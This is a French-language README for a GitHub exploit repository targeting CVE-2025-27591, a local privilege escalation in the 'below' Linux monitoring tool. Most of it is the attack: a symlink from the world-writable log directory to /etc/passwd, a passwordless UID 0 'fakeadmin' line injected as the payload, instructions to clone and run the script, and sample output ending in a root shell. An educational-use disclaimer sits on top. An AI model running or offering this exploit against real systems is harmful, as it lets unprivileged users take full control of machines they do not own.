
🔥 Exploit d'élévation de privilèges locaux pour CVE-2025-27591 | Exploite un répertoire de logs modifiable par tous dans Below pour obtenir root via injection dans /etc/passwd
below🛑 Avertissement : cet exploit est fourni uniquement à des fins de tests de sécurité éducatifs et autorisés. Toute utilisation non autorisée peut être illégale.
below est un outil de surveillance des performances développé par Facebook pour les systèmes Linux. Les versions de below antérieures à une version corrigée sont affectées par une vulnérabilité critique qui permet aux utilisateurs non privilégiés d'élever leurs privilèges jusqu'à root en exploitant des répertoires de journaux accessibles en écriture à tous et une gestion non sécurisée des journaux.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2025-27591 |
| Sévérité | 🔥 Critique (CVSS ≈ 7.8 - 8.8) |
| Vecteur d'attaque | Local |
| Impact | Élévation de privilèges vers root (UID=0) |
| Type d'exploit | Abus de lien symbolique / Injection de fichier journal |
| Application concernée | below – généralement installé comme /usr/bin/below |
| Cause racine | Écritures de fichiers non sécurisées dans /var/log/below/ sans vérification des permissions |
Ce script Bash effectue les opérations suivantes :
Vérification du répertoire accessible en écriture à tous :
/var/log/below est accessible en écriture à tous (un drapeau rouge).Préparation de l'attaque par lien symbolique :
error_root.log existant (le cas échéant) et crée un lien symbolique vers /etc/passwd.Construction de la charge utile :
/etc/passwd :
fakeadmin::0:0:fakeadmin:/root:/bin/bash
Déclenchement de la journalisation :
sudo below record pour forcer le binaire vulnérable à écrire les journaux.Obtention d'un accès root :
su fakeadmin pour obtenir un shell root sans demande de mot de passe.CVE-2025-27591/
├── exploit.sh
├── README.md
Avant d'exécuter l'exploit, assurez-vous de disposer des éléments suivants :
/usr/bin/below/var/log/belowsudo pour exécuter : sudo below recordln (pour créer des liens symboliques)su (pour changer d'utilisateur)timeout (pour contrôler le temps d'exécution)whoami (pour vérifier les privilèges)# 1. Clonez le dépôt
git clone https://github.com/00xCanelo/CVE-2025-27591.git
cd CVE-2025-27591
# 2. Rendez le script exécutable
chmod +x exploit.sh
# 3. Exécutez l'exploit
./exploit.sh
[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] Found existing log file: removing it...
[+] Created symlink: /var/log/below/error_root.log -> /etc/passwd
[*] Writing malicious line to /tmp/fakeadmin
[*] Triggering logging via 'sudo below record'...
[+] 'below record' executed (or timed out)
[*] Attempting to write payload to /etc/passwd via symlink...
[+] Payload successfully appended.
[*] Trying to switch to root shell using 'su fakeadmin'...
root@target:/# whoami
root